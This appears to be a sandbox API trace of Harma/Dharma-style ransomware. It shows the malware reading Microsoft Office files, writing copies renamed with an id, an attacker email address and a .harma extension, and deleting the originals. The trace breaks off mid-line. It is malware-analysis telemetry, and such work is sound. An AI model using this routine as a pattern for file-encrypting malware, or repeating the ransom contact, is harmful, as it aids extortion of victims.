[0169.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0169.638] lstrlenW (lpString=".jpg") returned 4 [0169.638] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0169.638] lstrcmpiW (lpString1=".FAE", lpString2=".harma") returned -1 [0169.638] lstrlenW (lpString="OLTASKR.FAE") returned 11 [0169.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0169.639] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=10672) returned 1 [0169.639] CloseHandle (hObject=0x21c) returned 1 [0169.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae")) returned 0x20 [0169.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0169.639] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.639] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0169.640] GetLastError () returned 0x0 [0169.640] ReadFile (in: hFile=0x21c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x29b0, lpOverlapped=0x0) returned 1 [0169.655] WriteFile (in: hFile=0x20c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x29c0, lpOverlapped=0x0) returned 1 [0169.656] ReadFile (in: hFile=0x21c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.656] WriteFile (in: hFile=0x20c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xea, lpOverlapped=0x0) returned 1 [0169.656] SetEndOfFile (hFile=0x20c) returned 1 [0169.657] CloseHandle (hObject=0x20c) returned 1 [0169.657] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.657] SetEndOfFile (hFile=0x21c) returned 1 [0169.659] CloseHandle (hObject=0x21c) returned 1 [0169.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae")) returned 1 [0169.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0169.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0169.670] lstrlenW (lpString=".doc") returned 4 [0169.670] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0169.670] lstrlenW (lpString=".docx") returned 5 [0169.670] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0169.670] lstrlenW (lpString=".pdf") returned 4 [0169.670] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0169.670] lstrlenW (lpString=".xls") returned 4 [0169.670] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0169.670] lstrlenW (lpString=".xlsx") returned 5 [0169.670] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0169.670] lstrlenW (lpString=".ppt") returned 4 [0169.670] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0169.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0169.670] lstrlenW (lpString=".zip") returned 4 [0169.670] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0169.670] lstrlenW (lpString=".rar") returned 4 [0169.670] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0169.670] lstrlenW (lpString=".bz2") returned 4 [0169.670] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0169.670] lstrlenW (lpString=".7z") returned 3 [0169.670] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0169.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0169.670] lstrlenW (lpString=".dbf") returned 4 [0169.670] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0169.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0169.670] lstrlenW (lpString=".1cd") returned 4 [0169.670] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0169.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0169.670] lstrlenW (lpString=".jpg") returned 4 [0169.671] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0169.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0169.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0169.671] lstrlenW (lpString=".doc") returned 4 [0169.671] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0169.671] lstrlenW (lpString=".docx") returned 5 [0169.671] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0169.671] lstrlenW (lpString=".pdf") returned 4 [0169.671] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0169.671] lstrlenW (lpString=".xls") returned 4 [0169.671] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0169.671] lstrlenW (lpString=".xlsx") returned 5 [0169.671] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0169.671] lstrlenW (lpString=".ppt") returned 4 [0169.671] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0169.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0169.671] lstrlenW (lpString=".zip") returned 4 [0169.671] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0169.671] lstrlenW (lpString=".rar") returned 4 [0169.671] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0169.671] lstrlenW (lpString=".bz2") returned 4 [0169.671] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0169.671] lstrlenW (lpString=".7z") returned 3 [0169.671] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0169.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0169.671] lstrlenW (lpString=".dbf") returned 4 [0169.671] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0169.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0169.671] lstrlenW (lpString=".1cd") returned 4 [0169.671] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0169.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0169.672] lstrlenW (lpString=".jpg") returned 4 [0169.672] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0169.672] lstrcmpiW (lpString1=".SAM", lpString2=".harma") returned 1 [0169.672] lstrlenW (lpString="ORG97R.SAM") returned 10 [0169.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0169.672] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=12704) returned 1 [0169.673] CloseHandle (hObject=0x3ac) returned 1 [0169.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam")) returned 0x20 [0169.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0169.673] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.673] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0169.674] GetLastError () returned 0x0 [0169.674] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x31a0, lpOverlapped=0x0) returned 1 [0169.934] WriteFile (in: hFile=0x384, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x31b0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x31b0, lpOverlapped=0x0) returned 1 [0169.935] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.935] WriteFile (in: hFile=0x384, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0169.936] SetEndOfFile (hFile=0x384) returned 1 [0169.936] CloseHandle (hObject=0x384) returned 1 [0169.936] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.936] SetEndOfFile (hFile=0x3ac) returned 1 [0169.938] CloseHandle (hObject=0x3ac) returned 1 [0169.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam")) returned 1 [0169.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0169.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0169.943] lstrlenW (lpString=".doc") returned 4 [0169.943] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0169.943] lstrlenW (lpString=".docx") returned 5 [0169.943] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0169.943] lstrlenW (lpString=".pdf") returned 4 [0169.943] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0169.943] lstrlenW (lpString=".xls") returned 4 [0169.943] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0169.943] lstrlenW (lpString=".xlsx") returned 5 [0169.943] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0169.943] lstrlenW (lpString=".ppt") returned 4 [0169.943] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0169.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0169.943] lstrlenW (lpString=".zip") returned 4 [0169.944] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0169.944] lstrlenW (lpString=".rar") returned 4 [0169.944] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0169.944] lstrlenW (lpString=".bz2") returned 4 [0169.944] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0169.944] lstrlenW (lpString=".7z") returned 3 [0169.944] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0169.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0169.944] lstrlenW (lpString=".dbf") returned 4 [0169.944] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0169.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0169.944] lstrlenW (lpString=".1cd") returned 4 [0169.944] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0169.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0169.944] lstrlenW (lpString=".jpg") returned 4 [0169.944] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0169.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0169.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0169.944] lstrlenW (lpString=".doc") returned 4 [0169.944] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0169.944] lstrlenW (lpString=".docx") returned 5 [0169.944] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0169.944] lstrlenW (lpString=".pdf") returned 4 [0169.944] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0169.944] lstrlenW (lpString=".xls") returned 4 [0169.944] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0169.945] lstrlenW (lpString=".xlsx") returned 5 [0169.945] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0169.945] lstrlenW (lpString=".ppt") returned 4 [0169.945] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0169.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0169.945] lstrlenW (lpString=".zip") returned 4 [0169.945] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0169.945] lstrlenW (lpString=".rar") returned 4 [0169.945] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0169.945] lstrlenW (lpString=".bz2") returned 4 [0169.945] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0169.945] lstrlenW (lpString=".7z") returned 3 [0169.945] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0169.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0169.945] lstrlenW (lpString=".dbf") returned 4 [0169.945] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0169.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0169.945] lstrlenW (lpString=".1cd") returned 4 [0169.945] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0169.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0169.945] lstrlenW (lpString=".jpg") returned 4 [0169.945] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0169.945] lstrcmpiW (lpString1=".FAE", lpString2=".harma") returned -1 [0169.946] lstrlenW (lpString="DELIMWIN.FAE") returned 12 [0169.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0169.957] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=31136) returned 1 [0169.957] CloseHandle (hObject=0x38c) returned 1 [0169.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae")) returned 0x20 [0169.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0169.958] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.958] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0169.958] GetLastError () returned 0x0 [0169.958] ReadFile (in: hFile=0x38c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x79a0, lpOverlapped=0x0) returned 1 [0170.067] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x79b0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x79b0, lpOverlapped=0x0) returned 1 [0170.068] ReadFile (in: hFile=0x38c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.068] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.068] SetEndOfFile (hFile=0x3a0) returned 1 [0170.068] CloseHandle (hObject=0x3a0) returned 1 [0170.068] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.069] SetEndOfFile (hFile=0x38c) returned 1 [0170.071] CloseHandle (hObject=0x38c) returned 1 [0170.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae")) returned 1 [0170.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0170.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0170.073] lstrlenW (lpString=".doc") returned 4 [0170.073] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.073] lstrlenW (lpString=".docx") returned 5 [0170.073] lstrcmpiW (lpString1=".docx", lpString2="N.FAE") returned -1 [0170.073] lstrlenW (lpString=".pdf") returned 4 [0170.073] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.073] lstrlenW (lpString=".xls") returned 4 [0170.073] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.073] lstrlenW (lpString=".xlsx") returned 5 [0170.073] lstrcmpiW (lpString1=".xlsx", lpString2="N.FAE") returned -1 [0170.073] lstrlenW (lpString=".ppt") returned 4 [0170.074] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0170.074] lstrlenW (lpString=".zip") returned 4 [0170.074] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.074] lstrlenW (lpString=".rar") returned 4 [0170.074] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.074] lstrlenW (lpString=".bz2") returned 4 [0170.074] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.074] lstrlenW (lpString=".7z") returned 3 [0170.074] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0170.074] lstrlenW (lpString=".dbf") returned 4 [0170.074] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0170.074] lstrlenW (lpString=".1cd") returned 4 [0170.075] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0170.075] lstrlenW (lpString=".jpg") returned 4 [0170.075] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0170.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0170.075] lstrlenW (lpString=".doc") returned 4 [0170.075] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.075] lstrlenW (lpString=".docx") returned 5 [0170.075] lstrcmpiW (lpString1=".docx", lpString2="N.FAE") returned -1 [0170.075] lstrlenW (lpString=".pdf") returned 4 [0170.075] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.075] lstrlenW (lpString=".xls") returned 4 [0170.075] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.075] lstrlenW (lpString=".xlsx") returned 5 [0170.075] lstrcmpiW (lpString1=".xlsx", lpString2="N.FAE") returned -1 [0170.075] lstrlenW (lpString=".ppt") returned 4 [0170.075] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0170.075] lstrlenW (lpString=".zip") returned 4 [0170.075] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.075] lstrlenW (lpString=".rar") returned 4 [0170.075] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.075] lstrlenW (lpString=".bz2") returned 4 [0170.075] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.075] lstrlenW (lpString=".7z") returned 3 [0170.075] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0170.076] lstrlenW (lpString=".dbf") returned 4 [0170.076] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0170.076] lstrlenW (lpString=".1cd") returned 4 [0170.076] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0170.076] lstrlenW (lpString=".jpg") returned 4 [0170.076] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.076] lstrcmpiW (lpString1=".FAE", lpString2=".harma") returned -1 [0170.076] lstrlenW (lpString="OLADD.FAE") returned 9 [0170.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.078] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=133024) returned 1 [0170.078] 